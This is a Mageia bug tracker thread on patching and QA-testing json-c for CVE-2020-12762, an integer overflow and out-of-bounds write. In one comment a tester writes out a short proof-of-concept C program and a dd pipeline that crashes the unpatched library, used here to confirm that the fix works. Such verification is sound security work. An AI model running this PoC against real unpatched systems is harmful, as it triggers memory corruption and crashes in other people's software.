Ubuntu has issued an advisory today (May 14): https://usn.ubuntu.com/4360-1/ Mageia 7 is also affected.
Whiteboard: (none) => MGA7TOO
Assigning this globally because of no specific maintainer.
Assignee: bugsquad => pkg-bugs
Fixed in Cauldron in json-c-0.13.1-4.mga8 by Mike.
CC: (none) => mramboWhiteboard: MGA7TOO => (none)Version: Cauldron => 7
Patched package uploaded for cauldron and Mageia 7. Advisory: ======================== Updated json-c package fixes security vulnerabilities: It was discovered that json-c through 0.14 has an integer overflow and out-of-bounds write via a large JSON file, as demonstrated by printbuf_memappend (CVE-2020-12762). References: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12762 https://usn.ubuntu.com/4360-1/ ======================== Updated packages in core/updates_testing: ======================== lib64json-c4-0.13.1-2.1.mga7 lib64json-c-devel-0.13.1-2.1.mga7 from json-c-0.13.1-2.1.mga7.src.rpm Testing hints https://bugs.mageia.org/show_bug.cgi?id=13179#c12
Assignee: pkg-bugs => qa-bugsKeywords: (none) => has_procedure
MGA7-64 Plasma on Lenovo B50 No installation issues. Downloaded encode and decode functions from json website and run one from CLI: $ php function.json-encode.php <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP: json_encode - Manual </title> and that goes on for a few hundred (I guess) lines. But this is really not my terrain, I don't know what to male of it.
CC: (none) => herman.viaene
Thanks, Herman. I have been working on this for the last hour or so. mga7, x86_64 Updated the two packages. While 'urpmq --whatrequires-recursive lib64json-c4' does return php-cli, running the example scripts from https://www.php.net/manual/en/function.json-decode.php under strace does not indicate any calls to the library. /usr/lib64/php/extensions/json.so is mentioned. However $ urpmq --requires-recursive php-json does return lib64json-c4. On this basis I shall follow the procedure outlined in bug https://bugs.mageia.org/show_bug.cgi?id=13179#c12 using php-cli. json_decode examples: $ php example1.php object(stdClass)#1 (5) { ["a"]=> int(1) ..... $ php example2.php 12345 $ php example3.php <no output because the code contains deliberate errors> $ php example4.php array(1) { [1]=> array(2) { ["English"]=> array(2) { [0]=> string(3) "One" [1]=> string(7) "January" } ["French"]=> array(2) { [0]=> string(3) "Une" [1]=> string(7) "Janvier" } } } Last error: JSON_ERROR_NONE NULL Last error: JSON_ERROR_DEPTH $ php example5.php object(stdClass)#1 (1) { ["number"]=> float(1.2345678901235E+19) } object(stdClass)#1 (1) { ["number"]=> string(20) "12345678901234567890" } These results mirror those reported on the web. The outputs from the five json_encode examples also match the outputs on the PHP documentation site. There are three json_last_error code snippets which also run as expected, more or less. $ php example1.php Decoding: {"Organization": "PHP Documentation Team"} - No errors Decoding: {'Organization': 'PHP Documentation Team'} - Syntax error, malformed JSON $ php example2.php bool(false) bool(true) <This differs from the published result - the first line should have been string(4) "null" Running this in a browser at port 8000 also returns "bool(false) bool(true)"> $ php example3.php bool(true) So in general, judging by these examples, the library works but I am reluctant to pass it on until somebody can confirm that the slight divergence reported here is trivial or not. Could it be a documentation error for instance?
CC: (none) => tarazed25
We should update this again. There was a regression in Ubuntu's initial patch: https://usn.ubuntu.com/4360-2/
Keywords: (none) => feedback
Fedora has issued an advisory for this on May 17: https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/CQQRRGBQCAWNCCJ2HN3W5SSCZ4QGMXQI/
CVE-2020-12762 https://github.com/json-c/json-c/pull/592 $ cat exploit.c #include <json-c/json_util.h> #include <unistd.h> int main() { json_object_from_fd( STDIN_FILENO ); return 0; } $ gcc -o exploit $(pkg-config --libs json-c) exploit.c $ dd if=/dev/zero of=poc.json bs=1 count=1 seek=2147483647 1+0 records in 1+0 records out 1 byte copied, 0.00018232 s, 5.5 kB/s $ ll poc.json -rw-r--r-- 1 lcl lcl 2147483648 May 24 18:11 poc.json Run the PoC: $ (dd if=poc.json bs=4096; sleep 1; dd if=test.json bs=10) 2>/dev/null | ./exploit $ That fails of course on test.json which does not exist. It is not clear exactly what this is doing apart from creating a JSON file from a huge stream of zeroes. However, this attempt to test the exploit is using the updated package. And are we waiting for another update? Confused again.
s/creating a JSON file/creating a JSON object/
Ah. The exploit is trying to tack on a some more bytes at the end of the object and so trigger the issue. Need to find a JSON file.
Right. Moved to another machine with the pre-update version of json-c. Recompiled exploit. Running the exploit program eventually caused a crash. $ (dd if=poc.json bs=4096; sleep 1; dd if=test.json bs=10) 2>/dev/null | ./exploit Segmentation fault (core dumped) Updated the two packages, recompiled and ran the test again. Clean exit after 1 second. So the current update fixes this particular issue.
Added upstream patch to fix regression in previous update. Patched packages uploaded for both Cauldron and Mageia 7. Updated files list for Mageia 7. lib64json-c4-0.13.1-2.2.mga7 lib64json-c-devel-0.13.1-2.2.mga7 from json-c-0.13.1-2.2.mga7.src.rpm
Keywords: feedback => (none)
Updated again and ran the simple php examples tested before including the encode examples, at the site linked to in comment 5. The decode and last_error examples returned exactly the same results as before. Encode: $ php example1.php {"a":1,"b":2,"c":3,"d":4,"e":5} $ php example2.php Normal: ["<foo>","'bar'","\"baz\"","&blong&","\u00e9"] Tags: ["\u003Cfoo\u003E","'bar'","\"baz\"","&blong&","\u00e9"] Apos: ["<foo>","\u0027bar\u0027","\"baz\"","&blong&","\u00e9"] Quot: ["<foo>","'bar'","\u0022baz\u0022","&blong&","\u00e9"] Amp: ["<foo>","'bar'","\"baz\"","\u0026blong\u0026","\u00e9"] Unicode: ["<foo>","'bar'","\"baz\"","&blong&","é"] All: ["\u003Cfoo\u003E","\u0027bar\u0027","\u0022baz\u0022","\u0026blong\u0026","é"] Empty array output as array: [] Empty array output as object: {} Non-associative array output as array: [[1,2,3]] Non-associative array output as object: {"0":{"0":1,"1":2,"2":3}} Associative array always output as object: {"foo":"bar","baz":"long"} Associative array always output as object: {"foo":"bar","baz":"long"} $ php example3.php Strings representing numbers automatically turned into numbers array(4) { [0]=> string(7) "+123123" [1]=> string(7) "-123123" [2]=> string(5) "1.2e3" [3]=> string(7) "0.00001" } string(28) "[123123,-123123,1200,1.0e-5]" Strings containing improperly formatted numbers array(2) { [0]=> string(13) "+a33123456789" [1]=> string(4) "a123" } string(24) "["+a33123456789","a123"]" $ php example4.php Sequential array array(4) { [0]=> string(3) "foo" [1]=> string(3) "bar" [2]=> string(3) "baz" [3]=> string(5) "blong" } string(27) "["foo","bar","baz","blong"]" Non-sequential array array(4) { [1]=> string(3) "foo" [2]=> string(3) "bar" [3]=> string(3) "baz" [4]=> string(5) "blong" } string(43) "{"1":"foo","2":"bar","3":"baz","4":"blong"}" Sequential array with one key unset array(3) { [0]=> string(3) "foo" [2]=> string(3) "baz" [3]=> string(5) "blong" } string(33) "{"0":"foo","2":"baz","3":"blong"}" $ php example5.php string(4) "12.0" string(2) "12" These results also match those online. Giving this the green light again.
Whiteboard: (none) => MGA7-64-OK
Thank you for your effort, Len. Validating. Advisory information in Comments 3, 7, and 12.
Keywords: (none) => validated_updateCC: (none) => andrewsfarm, sysadmin-bugs
Do we still have the correct fix? Ubuntu issued another regression fix update: https://usn.ubuntu.com/4360-4/
Is it this issue? https://github.com/json-c/json-c/issues/599 cannot add more than 11 objects. Issue exists in 0.14 but NOT in 0.13.1 I shall run the PoC if it is relevant.
I ran it for 0.13.1 and it generated 99 objects.
(In reply to David Walser from comment #15) > Do we still have the correct fix? Ubuntu issued another regression fix > update: > https://usn.ubuntu.com/4360-4/ Looks to me like we do. It looks like all they did was to redo the original patch to incorporate the regression patch change instead of carrying the regression fix as a separate patch. They did also add back the test suite change which they left off their original patch series. So, excepting the test suite code, our package has everything theirs has. It's just that ours has the regression fix as a separate patch.
Ok, I thought that might be the case but wanted to make sure. Thanks Mike!
Keywords: (none) => advisoryCC: (none) => mageia
An update for this issue has been pushed to the Mageia Updates repository. https://advisories.mageia.org/MGASA-2020-0240.html
Resolution: (none) => FIXEDStatus: NEW => RESOLVED